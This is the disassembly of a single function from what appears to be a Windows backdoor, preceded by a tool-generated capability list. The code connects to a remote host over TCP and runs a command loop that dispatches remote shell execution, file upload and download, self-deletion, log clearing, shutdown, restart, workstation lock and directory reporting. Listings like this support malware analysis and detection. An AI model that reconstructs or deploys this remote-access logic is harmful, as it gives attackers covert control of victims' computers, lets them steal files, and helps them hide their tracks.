Function at 0x140003d4d
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Execute command
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Self delete
Set socket configuration

Disassembly:
push rbp
push rbx
sub rsp, 0x328
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x30]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
setne al
test al, al
je 0x140003d86
mov ecx, 1
call sym.exit
lea rax, [0x1400c0180]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.data___const
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
mov eax, dword [rax]
mov dword [rbp - 0x44], eax
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [0x1400bc160], rax
mov word [rbp - 0x40], 2
mov ecx, 0x15d6
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp - 0x3e], ax
mov eax, dword [rbp - 0x44]
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_inet_ntoa]
call rax
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp - 0x3c], eax
mov rax, qword [0x1400bc160]
mov dword [rsp + 0x20], 4
lea r9, [0x14009b05c]
mov r8d, 0x1006
mov edx, 0xffff
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_setsockopt]
call rax
mov rcx, qword [0x1400bc160]
lea rax, [rbp - 0x40]
mov r8d, 0x10
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
cmp eax, 0xffffffff
sete al
test al, al
je 0x140003e85
mov rax, qword [0x1400bc160]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sym.Client__
lea rax, [rbp + 0x210]
lea r8, [0x14009b08d]
lea rdx, [0x1400bc080]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp + 0x1f0]
lea rdx, [rbp + 0x210]
lea r8, [0x1400bc060]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1d0]
lea rdx, [rbp + 0x1f0]
lea r8, [0x14009b08d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1b0]
lea rdx, [rbp + 0x1d0]
lea r8, [0x1400bc0c0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x190]
lea rdx, [rbp + 0x1b0]
lea r8, [0x14009b08d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x170]
lea rdx, [rbp + 0x190]
lea r8, [0x1400bc120]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.send_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x190]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x210]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov r8d, 0x4000
mov edx, 0
lea rax, [0x1400bc180]
mov rcx, rax
call sym.memset
lea rax, [0x1400bc100]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.clear__
mov rax, qword [0x1400bc160]
mov r9d, 0
mov r8d, 0x4000
lea rdx, [0x1400bc180]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
cdqe
mov qword [rbp + 0x298], rax
cmp qword [rbp + 0x298], 0xffffffffffffffff
je 0x140004015
cmp qword [rbp + 0x298], 0
je 0x140004015
cmp qword [rbp + 0x298], 0x4000
jne 0x14000403b
mov rax, qword [0x1400bc160]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
call sym.ClearLogs__
call sym.Client__
lea rax, [0x1400bc180]
mov rdx, rax
lea rax, [0x1400bc100]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, str.test
mov rdx, rax
lea rax, [0x1400bc100]
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x1400040d3
lea rax, [rbp + 0x25f]
mov qword [rbp + 0x290], rax
nop
nop
lea rdx, [rbp + 0x25f]
lea rax, [rbp + 0x230]
mov r8, rdx
lea rdx, str.success
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x230]
mov rcx, rax
call sym.send_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x230]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x25f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140004304
lea rax, str.terminate
mov rdx, rax
lea rax, [0x1400bc100]
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x14000411b
mov rax, qword [0x1400bc160]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
call sym.ClearLogs__
mov ecx, 0
call sym.exit
lea rax, str.remote
mov rdx, rax
lea rax, [0x1400bc100]
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x140004142
call sym.RemoteCMD__
jmp 0x140003f9c
lea rax, str.send
mov rdx, rax
lea rax, [0x1400bc100]
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x140004169
call sym.SendFile__
jmp 0x140003f9c
lea rax, str.receive
mov rdx, rax
lea rax, [0x1400bc100]
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x140004190
call sym.ReceiveFile__
jmp 0x140003f9c
lea rax, str.delself
mov rdx, rax
lea rax, [0x1400bc100]
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x1400041b7
call sym.DeleteSelf__
jmp 0x140003f9c
lea rax, str.wake_computer
mov rdx, rax
lea rax, [0x1400bc100]
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x1400041de
call sym.WakeComputer__
jmp 0x140003f9c
lea rax, str.shutdown
mov rdx, rax
lea rax, [0x1400bc100]
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x14000420f
lea rax, str.shutdown__p
mov rcx, rax
call sym.system
jmp 0x140003f9c
lea rax, str.restart
mov rdx, rax
lea rax, [0x1400bc100]
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x140004240
lea rax, str.shutdown__r
mov rcx, rax
call sym.system
jmp 0x140003f9c
lea rax, str.lock
mov rdx, rax
lea rax, [0x1400bc100]
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x140004271
lea rax, str.rundll32.exe_user32.dll_LockWorkStation
mov rcx, rax
call sym.system
jmp 0x140003f9c
lea rax, str.directory
mov rdx, rax
lea rax, [0x1400bc100]
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x140003f9c
mov edx, 0x104
lea rax, [0x1400bc180]
mov rcx, rax
call sym.getcwd
lea rax, [rbp + 0x287]
mov qword [rbp + 0x288], rax
nop
nop
lea rdx, [rbp + 0x287]
lea rax, [rbp + 0x260]
mov r8, rdx
lea rdx, [0x1400bc180]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x260]
mov rcx, rax
call sym.send_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x260]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x287]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
jmp 0x140003f9c